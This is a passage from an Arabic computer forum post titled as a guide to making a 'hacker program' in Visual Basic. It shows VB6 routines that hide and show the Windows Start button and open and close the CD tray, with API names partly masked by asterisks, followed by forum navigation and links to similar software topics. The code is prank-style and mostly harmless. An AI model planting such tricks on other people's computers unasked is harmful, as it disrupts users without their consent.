Show****** Handle&, 0

End Sub

' دالة اظهار زر ابدأ

Sub ShowStartButton()

Dim Handle As Long, FindClass As Long

FindClass& = Find******("________l_TrayWnd", "")

Handle& = Find******Ex(FindClass&, 0, "Button", vbNullString)

Show****** Handle&, 1

End Sub



'دالة اغلاق سواقة الليزر

Sub CDClose()

retvalue = mciSendString("set CDAudio door closed", returnstring, 127, 0)

End Sub



'دالة فتح سواقة الليزر

Sub CDOpen()

retvalue = mciSendString("set CDAudio door open", returnstring, 127, 0)

End Sub

-----------------------------------

-----------------------------------
حصريا صبريات دوت كوم
الرجوع الى أعلى الصفحة اذهب الى الأسفل
https://9breaytdotcom.sudanforums.net
 
شرح عمل برنامج هكر بالفيجوال بيسيك
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» الجديد برنامج Virtualdj
» برنامج الاسكايب للشات صوت ونص
» برنامج لعمل مونتاج او فيديو
» برنامج تصوير الشاشةcamtasia studio
» اروع برنامج لعرض الصور(روعة)

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
منتديات صبريات دوت كوم :: حاسوبي :: قسم التصميم-
انتقل الى: